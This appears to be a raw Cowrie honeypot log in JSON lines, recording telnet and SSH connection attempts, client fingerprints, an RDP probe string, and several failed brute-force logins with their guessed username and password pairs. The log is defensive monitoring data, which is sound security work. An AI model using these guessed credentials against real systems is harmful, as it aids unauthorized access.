{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40538,"dst_ip":"10.17.0.5","dst_port":23,"session":"a937b3077e7f","protocol":"telnet","message":"New connection: 192.119.13.58:40538 (10.17.0.5:23) [session: a937b3077e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:48.223505Z"}
{"eventid":"cowrie.session.closed","duration":48.59602975845337,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:50.503345Z","src_ip":"192.119.13.58","session":"8d35dda10817","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52236,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b84591a6043","protocol":"telnet","message":"New connection: 192.119.13.58:52236 (10.17.0.5:23) [session: 1b84591a6043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:51.126183Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55230,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdef95519e26","protocol":"telnet","message":"New connection: 192.119.13.58:55230 (10.17.0.5:23) [session: bdef95519e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:51.831568Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56186,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d3fc69c9e73","protocol":"telnet","message":"New connection: 192.119.13.58:56186 (10.17.0.5:23) [session: 4d3fc69c9e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:52.086817Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60762,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d997f0a8ca6","protocol":"telnet","message":"New connection: 192.119.13.58:60762 (10.17.0.5:23) [session: 8d997f0a8ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:53.137461Z"}
{"eventid":"cowrie.session.closed","duration":46.19005632400513,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:56.285515Z","src_ip":"192.119.13.58","session":"42210703f834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":45804,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dc6d53aac76","protocol":"ssh","message":"New connection: 193.39.208.26:45804 (10.17.0.5:22) [session: 7dc6d53aac76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:57.260395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:57.265013Z","src_ip":"193.39.208.26","session":"7dc6d53aac76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:57.348125Z","src_ip":"193.39.208.26","session":"7dc6d53aac76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789abc","message":"login attempt [root/123456789abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:57.715193Z","src_ip":"193.39.208.26","session":"7dc6d53aac76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:58.801269Z","src_ip":"193.39.208.26","session":"7dc6d53aac76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.606656074523926,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:32:59.824000Z","src_ip":"192.119.13.58","session":"3a3f70f4d3b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":56326,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e7937147e11","protocol":"ssh","message":"New connection: 49.51.73.108:56326 (10.17.0.5:22) [session: 7e7937147e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:02.124527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:02.131669Z","src_ip":"49.51.73.108","session":"7e7937147e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:02.200633Z","src_ip":"49.51.73.108","session":"7e7937147e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0Rd","message":"login attempt [root/p@ssw0Rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:02.509804Z","src_ip":"49.51.73.108","session":"7e7937147e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:03.582747Z","src_ip":"49.51.73.108","session":"7e7937147e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49838,"dst_ip":"10.17.0.5","dst_port":23,"session":"3102b58437d6","protocol":"telnet","message":"New connection: 192.119.13.58:49838 (10.17.0.5:23) [session: 3102b58437d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:04.568997Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40040,"dst_ip":"10.17.0.5","dst_port":23,"session":"a64caae099c5","protocol":"telnet","message":"New connection: 192.119.13.58:40040 (10.17.0.5:23) [session: a64caae099c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:09.235417Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37608,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1157b990db3","protocol":"telnet","message":"New connection: 192.119.13.58:37608 (10.17.0.5:23) [session: b1157b990db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:16.466177Z"}
{"eventid":"cowrie.session.closed","duration":32.18959712982178,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:18.593603Z","src_ip":"192.119.13.58","session":"30b1e401735f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.05473780632019,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:19.195193Z","src_ip":"192.119.13.58","session":"4babf77aa782","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60796,"dst_ip":"10.17.0.5","dst_port":23,"session":"09cbd0e10cc6","protocol":"telnet","message":"New connection: 192.119.13.58:60796 (10.17.0.5:23) [session: 09cbd0e10cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:21.343060Z"}
{"eventid":"cowrie.session.closed","duration":33.61854386329651,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:21.841946Z","src_ip":"192.119.13.58","session":"a937b3077e7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.19116139411926,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:25.264631Z","src_ip":"192.119.13.58","session":"5886d572cd7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57028,"dst_ip":"10.17.0.5","dst_port":23,"session":"9337c756c317","protocol":"telnet","message":"New connection: 192.119.13.58:57028 (10.17.0.5:23) [session: 9337c756c317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:27.310799Z"}
{"eventid":"cowrie.session.closed","duration":44.59879231452942,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:27.807214Z","src_ip":"192.119.13.58","session":"10cde87ccf02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.11000347137451,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:28.990528Z","src_ip":"192.119.13.58","session":"7893c6e179c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.26326942443848,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:31.094729Z","src_ip":"192.119.13.58","session":"bdef95519e26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.268956422805786,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:35.395041Z","src_ip":"192.119.13.58","session":"1b84591a6043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.620989084243774,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:35.758354Z","src_ip":"192.119.13.58","session":"8d997f0a8ca6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.75037741661072,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:35.837100Z","src_ip":"192.119.13.58","session":"4d3fc69c9e73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":58274,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f270fc912e9","protocol":"ssh","message":"New connection: 193.32.162.145:58274 (10.17.0.5:22) [session: 8f270fc912e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:36.867831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:36.876865Z","src_ip":"193.32.162.145","session":"8f270fc912e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:36.984603Z","src_ip":"193.32.162.145","session":"8f270fc912e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"geyser","message":"login attempt [solana/geyser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:37.330691Z","src_ip":"193.32.162.145","session":"8f270fc912e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:38.440099Z","src_ip":"193.32.162.145","session":"8f270fc912e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.527487993240356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:40.762802Z","src_ip":"192.119.13.58","session":"a64caae099c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37734,"dst_ip":"10.17.0.5","dst_port":23,"session":"56a138062f39","protocol":"telnet","message":"New connection: 192.119.13.58:37734 (10.17.0.5:23) [session: 56a138062f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:43.074965Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"4471340186f5","protocol":"telnet","message":"New connection: 192.119.13.58:42620 (10.17.0.5:23) [session: 4471340186f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:44.232063Z"}
{"eventid":"cowrie.session.closed","duration":2.933297872543335,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:47.165258Z","src_ip":"192.119.13.58","session":"4471340186f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.40369462966919,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:48.972565Z","src_ip":"192.119.13.58","session":"3102b58437d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01071619987488,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:50.476834Z","src_ip":"192.119.13.58","session":"b1157b990db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":54872,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b90b9234b27","protocol":"ssh","message":"New connection: 103.183.114.55:54872 (159.203.135.109:22) [session: 8b90b9234b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:53.497604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:53.506533Z","src_ip":"103.183.114.55","session":"8b90b9234b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:53.730912Z","src_ip":"103.183.114.55","session":"8b90b9234b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123454","message":"login attempt [root/123454] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:54.397754Z","src_ip":"103.183.114.55","session":"8b90b9234b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61136,"dst_ip":"159.203.135.109","dst_port":22,"session":"c38d493c696b","protocol":"ssh","message":"New connection: 167.172.81.52:61136 (159.203.135.109:22) [session: c38d493c696b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:54.446294Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:54.451768Z","src_ip":"167.172.81.52","session":"c38d493c696b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:54.456526Z","src_ip":"167.172.81.52","session":"c38d493c696b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59144,"dst_ip":"10.17.0.5","dst_port":23,"session":"717d10aab1c8","protocol":"telnet","message":"New connection: 192.119.13.58:59144 (10.17.0.5:23) [session: 717d10aab1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:55.120029Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:55.660841Z","src_ip":"103.183.114.55","session":"8b90b9234b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35030,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2465b95d47e","protocol":"telnet","message":"New connection: 192.119.13.58:35030 (10.17.0.5:23) [session: d2465b95d47e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:56.047424Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38178,"dst_ip":"10.17.0.5","dst_port":23,"session":"0696bf56e321","protocol":"telnet","message":"New connection: 192.119.13.58:38178 (10.17.0.5:23) [session: 0696bf56e321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:56.823135Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42030,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb3f18b91ef","protocol":"telnet","message":"New connection: 192.119.13.58:42030 (10.17.0.5:23) [session: 4bb3f18b91ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:33:57.738999Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58322,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4eb0311e854","protocol":"telnet","message":"New connection: 192.119.13.58:58322 (10.17.0.5:23) [session: b4eb0311e854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:01.656773Z"}
{"eventid":"cowrie.session.closed","duration":0.0063784122467041016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:01.663004Z","src_ip":"192.119.13.58","session":"b4eb0311e854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.209375858306885,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:03.552307Z","src_ip":"192.119.13.58","session":"09cbd0e10cc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37872,"dst_ip":"10.17.0.5","dst_port":23,"session":"419893983494","protocol":"telnet","message":"New connection: 192.119.13.58:37872 (10.17.0.5:23) [session: 419893983494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:04.658324Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":38334,"dst_ip":"10.17.0.5","dst_port":22,"session":"821a984d714b","protocol":"ssh","message":"New connection: 103.149.28.157:38334 (10.17.0.5:22) [session: 821a984d714b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:04.665004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:34:04.670179Z","src_ip":"103.149.28.157","session":"821a984d714b","protocol":"ssh"}
